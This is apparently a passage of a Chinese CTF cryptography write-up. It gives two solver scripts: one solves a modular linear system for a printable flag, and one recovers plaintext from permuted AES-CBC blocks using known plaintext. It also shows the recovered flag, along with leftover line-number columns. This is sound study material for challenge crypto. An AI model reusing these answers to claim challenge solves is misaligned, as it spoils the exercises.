23
24

# 导入数据
p = 5323
A_list = [(5264, 4296, 3438, 4717, 3154, 4628, 4488, 3442, 5197, 4464, 4449, 3242, 3931, 3947, 5167, 4486, 4780, 4256, 3154, 5063, 2810, 4761, 5207, 3105, 5149, 4803, 4990, 3078, 3826, 5238, 4753, 4021, 3590, 3510, 2931, 4065, 3508, 3691, 4810, 3493, 3773, 3069), (4419, 3578, 4420, 4692, 4344, 4184, 3843, 3494, 3168, 3788, 3094, 5314, 3480, 4739, 2683, 4045, 4338, 4652, 5221, 5191, 2833, 3183, 2781, 4339, 4433, 2992, 4964, 4866, 3100, 3624, 4956, 3989, 5149, 3955, 4338, 5265, 2952, 5142, 4898, 4499, 4615, 2797), (3274, 4484, 3339, 4842, 3842, 2892, 2741, 3756, 2861, 3817, 4146, 4887, 2703, 4618, 4984, 2805, 3334, 2932, 3094, 4532, 4424, 4568, 4927, 5008, 2814, 3385, 3850, 3437, 3449, 3290, 5191, 3980, 5290, 3043, 5288, 2704, 3147, 5084, 4560, 2781, 2950, 4753), (3565, 3536, 4814, 3977, 4844, 4833, 2806, 3976, 4889, 3908, 3359, 3611, 2983, 4719, 3170, 4019, 4594, 5182, 4493, 4861, 3999, 2680, 3883, 5290, 4436, 4426, 4885, 4521, 3019, 3237, 5249, 3236, 5303, 4536, 4090, 4463, 2919, 2879, 2771, 4255, 5148, 5156), (2974, 2716, 2782, 3667, 4443, 4289, 3230, 4157, 3876, 4763, 5021, 3268, 4278, 3385, 2765, 5082, 3965, 3557, 2708, 4709, 3125, 4673, 4783, 5029, 3430, 5235, 3919, 3576, 3449, 4861, 3207, 2667, 3942, 3597, 4185, 3759, 5253, 4940, 4256, 2845, 4391, 2750), (5252, 5292, 2822, 4063, 4116, 4065, 3913, 5198, 3856, 3419, 4209, 4900, 3700, 3107, 3998, 5141, 5052, 4370, 3366, 4134, 3461, 3947, 4497, 2980, 5143, 2836, 2914, 4600, 5205, 3041, 3834, 3544, 3682, 2677, 4514, 4327, 4638, 4028, 4971, 3528, 2773, 5043), (3491, 5181, 2922, 3106, 4734, 3657, 3134, 3242, 2959, 5187, 3513, 4099, 4495, 5100, 2945, 5172, 3772, 4409, 3645, 5260, 2663, 2702, 4673, 5263, 3215, 3953, 4123, 3230, 3402, 4822, 3303, 3746, 3892, 4547, 2696, 4139, 3736, 4689, 3320, 4682, 5166, 4576), (3594, 4405, 3032, 4297, 4906, 4383, 3846, 3850, 3210, 3923, 5280, 4643, 4588, 4397, 5134, 3848, 3660, 4770, 3930, 3808, 4509, 5044, 4123, 4757, 4481, 4290, 4140, 3052, 4557, 3626, 3181, 2690, 5279, 3532, 3497, 3214, 4057, 4170, 3153, 3123, 4536, 3958), (4613, 5247, 5279, 3239, 3517, 2809, 3104, 3318, 2771, 4262, 5069, 4399, 4874, 3019, 5034, 4723, 4653, 5047, 5087, 2730, 4602, 2727, 4068, 3055, 4450, 2809, 2760, 3009, 3911, 4485, 2775, 5029, 2816, 4692, 4979, 2732, 3762, 3670, 3850, 3345, 5215, 3151), (3481, 4331, 3840, 5102, 3411, 3530, 4300, 3529, 4067, 4727, 4234, 3191, 4643, 5132, 4380, 4498, 3533, 4896, 3008, 2947, 3395, 2804, 4232, 3425, 3888, 3177, 5120, 3047, 2830, 4352, 3929, 3668, 5209, 2906, 3280, 5093, 4563, 2806, 4851, 3216, 4857, 4032), (4850, 3824, 2777, 3998, 5257, 4238, 3490, 2867, 5129, 2869, 4865, 4224, 3844, 3238, 5154, 3970, 4250, 4099, 3271, 4750, 5181, 4086, 3696, 3335, 3562, 4822, 5137, 4046, 3976, 3663, 4244, 3678, 4761, 3634, 4001, 4417, 4324, 4158, 4384, 3682, 5313, 4052), (4973, 5109, 3841, 3854, 4886, 4200, 5250, 3172, 4677, 4518, 3633, 2742, 3187, 2804, 4649, 4945, 4480, 3701, 3966, 2839, 3503, 2814, 4071, 4624, 2812, 4362, 2986, 3544, 5129, 4687, 4474, 3115, 3936, 5168, 4478, 3970, 3361, 4437, 3226, 2986, 4806, 3652), (4941, 4951, 3618, 3904, 5054, 3596, 4032, 3850, 5117, 3372, 4125, 3333, 3848, 5225, 4780, 4097, 4544, 2861, 3576, 4935, 3871, 3949, 3707, 4129, 5187, 4692, 3177, 5147, 2666, 4823, 4435, 3578, 2929, 2707, 4595, 3938, 2850, 5212, 5240, 3860, 3283, 5259), (3664, 3915, 5206, 2996, 3344, 4880, 4678, 4995, 3521, 3772, 3508, 3860, 4188, 5132, 2712, 3390, 3435, 4608, 3075, 3393, 4593, 3120, 5100, 3087, 3027, 5188, 5026, 4209, 4270, 2842, 2788, 4285, 2878, 3225, 2693, 4212, 2867, 4446, 4595, 4961, 4939, 2998), (4628, 3052, 2878, 4527, 2915, 4819, 3100, 3224, 3877, 3999, 4700, 4824, 4255, 4802, 4334, 4161, 4111, 4861, 4883, 4278, 2665, 2880, 4219, 4705, 4511, 4320, 3875, 3156, 4906, 4754, 4083, 2716, 3573, 3252, 4216, 2778, 3439, 4765, 3618, 5315, 4561, 3499), (4853, 4733, 5289, 4087, 5051, 4808, 5264, 4996, 3673, 4609, 4727, 4774, 4221, 3050, 5050, 4768, 4192, 3998, 2855, 4058, 3899, 3687, 4249, 2733, 3980, 2702, 4089, 3729, 4351, 4872, 3572, 4156, 4186, 3062, 4156, 5188, 3758, 3660, 4650, 3538, 4063, 3598), (3993, 4550, 4516, 4220, 3025, 3134, 2713, 3461, 4284, 4153, 4541, 3514, 4184, 5286, 4209, 4787, 4166, 3551, 2985, 4639, 2867, 3944, 4185, 3014, 2782, 3325, 4989, 3147, 4528, 2772, 2912, 4452, 4634, 5211, 2897, 5207, 4454, 4685, 4227, 4878, 4643, 2788), (3563, 4874, 3399, 3488, 4253, 4172, 4353, 4562, 3074, 5272, 2784, 3724, 3394, 2858, 3180, 4594, 3763, 3392, 4707, 4607, 3394, 3623, 4323, 4294, 4775, 4004, 2977, 3669, 3618, 3311, 4171, 4904, 4001, 3548, 5118, 4847, 4722, 3125, 4605, 3717, 2687, 3679), (4736, 2904, 4535, 4415, 3471, 4198, 4433, 2944, 2952, 3160, 4346, 5281, 2850, 4921, 3807, 4245, 2693, 4369, 4898, 3222, 4052, 5123, 4128, 4014, 3901, 3339, 4862, 5210, 3955, 3925, 3472, 3298, 4158, 2818, 4865, 4910, 3617, 3276, 3818, 4303, 3824, 4572), (4415, 3388, 4882, 4396, 4382, 4921, 3815, 2950, 3251, 3710, 5215, 4841, 3678, 4603, 5191, 3291, 3570, 3436, 5089, 5269, 3887, 3444, 4001, 4397, 3430, 3886, 3676, 5149, 2746, 3828, 3607, 4170, 4152, 4640, 4162, 2868, 2719, 3923, 3156, 4324, 3108, 3722), (3912, 4206, 4036, 5031, 3316, 3080, 3385, 5003, 4397, 4493, 4568, 4130, 3089, 4697, 4599, 3019, 3126, 2830, 4186, 3969, 3103, 2911, 2991, 3332, 2703, 4581, 5276, 3040, 4687, 4033, 4304, 5304, 4976, 3765, 2957, 4005, 3138, 3876, 4032, 3132, 3415, 3465), (4971, 3562, 3942, 2905, 5078, 4273, 5246, 3042, 5171, 4607, 3948, 3894, 2730, 2896, 4641, 3378, 4384, 5053, 4187, 3194, 4581, 3971, 4181, 4413, 4599, 3716, 3531, 3742, 3806, 2979, 4113, 4373, 4766, 3543, 4707, 4592, 4421, 4381, 4084, 4732, 4026, 2859), (3824, 3663, 3807, 4580, 4447, 4273, 5123, 3645, 5235, 3410, 3512, 3041, 3410, 4076, 3435, 4001, 4681, 3327, 5258, 4796, 4517, 4925, 3909, 4947, 4439, 4350, 2912, 4664, 4546, 3248, 2982, 4513, 4684, 3132, 4555, 5013, 5026, 5118, 5002, 2840, 4668, 2794), (4249, 2838, 3901, 4952, 5191, 4488, 2675, 3402, 2960, 5295, 3414, 4005, 2661, 4406, 2897, 4562, 4784, 3897, 3663, 2925, 4140, 4584, 4128, 4100, 4740, 3539, 5072, 3651, 3723, 2859, 4691, 4858, 3944, 4309, 4199, 3455, 3140, 3562, 4720, 3588, 3773, 3197), (5285, 3168, 3069, 3043, 2733, 4718, 3316, 5162, 3063, 3709, 3669, 3959, 4490, 4556, 4345, 5129, 3512, 4102, 3488, 4643, 3759, 4990, 2683, 2920, 5316, 3644, 2913, 4571, 3323, 3203, 3424, 3992, 3701, 5296, 3507, 4301, 4594, 3823, 3582, 4627, 2964, 4961), (3620, 4130, 5092, 5322, 2817, 3743, 4045, 4649, 4371, 4154, 4407, 2673, 4248, 3901, 4507, 4607, 5281, 5246, 4644, 4811, 2805, 4728, 4215, 2964, 4282, 3962, 3925, 4049, 5075, 3238, 2813, 5027, 3716, 3187, 3277, 3953, 4700, 2693, 4490, 5297, 3233, 2721), (5051, 4362, 3937, 3200, 3230, 4123, 4992, 3668, 5129, 3010, 3311, 4105, 3569, 4993, 3955, 4322, 3328, 2848, 4556, 3681, 3243, 4353, 5026, 5320, 3814, 4000, 3521, 3092, 2670, 4678, 4752, 3547, 4948, 3619, 5038, 2999, 3710, 2885, 3187, 3727, 4749, 4574), (3704, 3785, 3684, 4232, 4826, 3147, 3478, 3369, 5043, 4750, 4371, 4925, 3644, 3257, 4108, 5196, 4411, 4658, 3884, 3942, 4161, 3449, 2788, 4513, 3249, 3347, 3806, 2753, 2805, 4035, 4859, 3553, 4001, 4952, 3152, 4139, 3796, 3964, 4691, 4721, 3642, 5282), (3460, 3712, 5003, 4997, 4911, 3168, 5231, 2681, 4528, 3935, 2701, 5081, 5002, 3808, 3761, 4413, 3824, 2799, 4176, 3147, 4882, 3820, 4318, 4258, 4866, 4138, 4039, 3654, 4070, 3516, 2713, 3761, 4871, 3111, 4768, 3473, 5024, 3376, 2764, 2835, 4965, 4600), (3817, 4228, 3063, 4245, 3187, 3015, 3013, 4639, 3879, 2739, 4641, 2992, 3218, 4632, 4251, 4631, 4592, 3158, 4050, 4993, 3458, 4691, 4376, 3609, 3741, 3047, 4352, 4744, 3116, 3053, 4309, 3963, 4233, 3672, 4699, 4614, 3377, 4626, 3550, 4191, 3575, 4554), (3659, 3336, 5295, 3064, 4372, 4725, 3239, 3094, 4019, 4249, 5012, 3782, 4357, 5101, 4778, 4899, 4266, 4705, 2696, 5028, 4630, 4022, 3189, 4522, 4193, 4782, 4030, 2977, 3310, 4249, 5171, 3780, 3215, 3972, 5217, 4301, 2855, 3941, 4994, 4398, 3016, 3143), (3922, 3364, 2809, 3867, 3625, 5208, 3946, 5014, 3928, 3660, 5027, 4712, 4581, 4521, 3698, 5136, 3149, 5107, 2995, 4245, 2919, 4384, 2964, 5173, 4152, 3413, 4733, 2932, 3157, 3831, 5135, 2976, 3698, 5143, 3291, 4973, 2887, 3940, 5243, 5229, 3813, 4033), (3418, 4524, 3961, 5299, 2967, 3681, 3100, 2704, 4228, 3418, 5072, 3976, 3949, 4540, 5063, 2877, 4327, 4724, 3790, 4743, 2684, 4579, 2842, 4567, 3277, 4961, 3414, 4585, 3903, 4240, 4864, 3138, 3540, 5153, 3809, 5171, 4452, 3841, 5315, 3272, 5187, 4811), (2746, 2996, 3753, 4225, 4056, 3118, 5114, 3354, 2834, 5192, 5213, 2779, 3816, 2827, 3781, 3445, 2864, 4229, 2979, 2822, 5094, 3880, 4430, 4504, 3732, 4481, 4364, 4337, 3366, 4417, 2942, 5180, 4909, 3770, 5298, 4557, 3185, 4502, 4730, 5205, 4777, 3736), (3366, 3922, 4127, 4927, 3079, 4499, 3078, 3113, 3965, 3699, 4024, 3812, 3780, 4434, 4384, 4164, 4293, 3231, 3588, 3788, 3422, 5214, 4360, 3789, 3872, 5096, 4595, 5072, 2900, 4807, 4574, 2875, 4036, 4260, 3766, 3122, 5278, 4376, 3236, 2937, 4663, 4733), (3537, 4422, 4615, 2910, 4383, 3129, 4101, 3741, 3678, 3506, 2795, 4134, 4933, 4677, 3858, 5078, 3252, 3341, 3540, 3432, 3751, 4343, 4306, 4086, 4679, 4690, 4018, 4761, 4506, 5055, 5205, 4394, 4060, 3872, 3477, 4523, 3191, 5158, 4847, 2970, 4722, 3451), (3475, 4137, 4259, 2941, 3515, 4639, 3237, 5274, 2889, 5243, 2984, 4033, 3160, 3668, 4402, 5283, 3479, 4585, 2719, 3023, 3941, 3184, 3774, 3673, 3279, 3124, 3840, 4507, 5111, 4661, 3101, 2744, 3424, 4623, 3936, 2923, 3309, 4324, 3077, 4161, 4461, 5192), (4170, 3426, 4246, 3841, 4606, 3187, 4783, 4900, 5101, 5108, 5041, 4042, 4943, 2927, 3529, 4985, 4682, 4255, 2968, 3298, 4057, 2725, 5305, 4412, 4719, 3730, 2784, 4485, 2760, 3082, 3293, 3026, 4728, 3256, 4683, 3165, 4412, 2883, 4302, 3392, 3399, 3512), (4886, 3474, 2923, 4021, 4746, 5119, 3465, 4475, 5248, 4958, 3441, 3772, 3068, 4773, 3654, 4283, 4688, 3787, 3456, 3174, 2947, 4041, 2724, 3683, 5058, 3914, 2973, 4082, 3706, 2671, 5031, 3297, 3790, 4753, 2847, 3265, 3355, 3214, 2872, 4131, 3459, 4879), (2961, 3419, 4246, 2699, 4676, 2746, 5270, 5186, 3447, 3571, 4989, 3646, 4804, 3003, 5215, 3593, 4244, 5085, 2856, 3706, 3213, 5005, 2900, 3031, 3196, 2726, 3711, 5072, 4654, 4079, 4894, 3748, 4266, 2810, 2770, 4071, 2713, 3079, 4809, 3063, 3174, 3380), (3200, 2952, 2713, 5140, 2863, 3263, 3052, 4190, 4913, 3754, 3942, 5009, 3298, 2848, 3970, 3737, 5099, 3591, 3370, 5302, 4153, 2947, 2904, 4201, 5162, 3919, 4686, 3043, 5071, 4648, 4218, 4914, 4434, 5111, 3284, 2758, 4051, 5157, 5189, 4768, 4019, 2803)]  # 你的矩阵列表
b_list = [4300, 535, 1288, 4438, 3036, 4873, 312, 2278, 5120, 3806, 2223, 2772, 2709, 953, 1788, 1303, 2432, 4101, 3993, 822, 4493, 841, 1936, 4626, 3419, 3854, 2435, 1925, 5040, 3693, 5181, 932, 1189, 3614, 2685, 2046, 2663, 747, 3627, 648, 3142]  # 你的向量列表

A = Matrix(Zmod(p), A_list)
b = vector(Zmod(p), b_list)

# 求解模方程
sol = A.right_kernel().basis()  # 解空间基
x0 = A.solve_right(b)           # 一个特解

# 生成完整解
# 所有解：x = x0 + k*v，其中 v 是解空间基向量，k ∈ Z/pZ
v = sol[0]

# 尝试找到满足 ASCII 条件的 k
for k in range(p):
    candidate = [(x0[i] + k*v[i]) % p for i in range(len(x0))]
    if all(32 <= c <= 126 for c in candidate):
        flag = ''.join(chr(c) for c in candidate)
        print(flag)
        break

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

from Crypto.Util.Padding import unpad

# 已知数据（题目给出）
iv1_hex = "1e5d251ea78ef68a1282079fd028c747"
iv2_hex = "18777ae4c1a29f4c5db8ba6c5dfe72f1"
m1_hex = "f560fd28ed5c5ce7d952eb44b47007e702f42dbb54540dfc78467f48933dbb01ebcf520fd3d23a211d3b4e8c06261966cb178525c25b8058ff792e0f251d3d15"
c1_hex = "caf7bc1223c17f848aec854a87b8958d4c518f7287663bfae0b6a5a1e0f0eb95b50c9ea6789a7d77fda5f50d1b8a2183b40cab693ebacf32a9b59faf3b0084ff"
c2_hex = "b40cab693ebacf32a9b59faf3b0084ffcaf7bc1223c17f848aec854a87b8958db50c9ea6789a7d77fda5f50d1b8a21834c518f7287663bfae0b6a5a1e0f0eb95"


def split_blocks(bs, block_size=16):
    """分割为 16 字节块"""
    return [bs[i:i + block_size] for i in range(0, len(bs), block_size)]


iv1 = bytes.fromhex(iv1_hex)
iv2 = bytes.fromhex(iv2_hex)
m1 = bytes.fromhex(m1_hex)
c1 = bytes.fromhex(c1_hex)
c2 = bytes.fromhex(c2_hex)

c1_blocks = split_blocks(c1)
c2_blocks = split_blocks(c2)
m1_blocks = split_blocks(m1)

# 找出 perm：c1[i] 对应 c2[perm[i]]
perm = [c2_blocks.index(b) for b in c1_blocks]
print(f"[+] perm = {perm}")

# 由关系式恢复 m2 的明文分块
p2_blocks = [b""] * len(c2_blocks)
for j, idx in enumerate(perm):
    prev_c2 = iv2 if idx == 0 else c2_blocks[idx - 1]
    prev_c1 = iv1 if j == 0 else c1_blocks[j - 1]
    # p2_i = m1_j XOR prev_c2 XOR prev_c1
    p2 = bytes(a ^ b ^ c for a, b, c in zip(m1_blocks[j], prev_c2, prev_c1))
    p2_blocks[idx] = p2

# 拼接、去填充
recovered_padded_m2 = b"".join(p2_blocks)
m2 = unpad(recovered_padded_m2, 16)

print("\n[+] Recovered padded m2 (hex):", recovered_padded_m2.hex())
print("[+] Recovered plaintext (utf-8):", m2.decode("utf-8"))

输出:
[+] perm = [2, 3, 0, 1]

[+] Recovered padded m2 (hex): 666c61677b6362635f64616e63696e675f31735f7468655f626573745f58445f6d69616f77757e5f77616e67616e677e7d0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f
[+] Recovered plaintext (utf-8): flag{cbc_dancing_1s_the_best_XD_miaowu~_wangang~}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223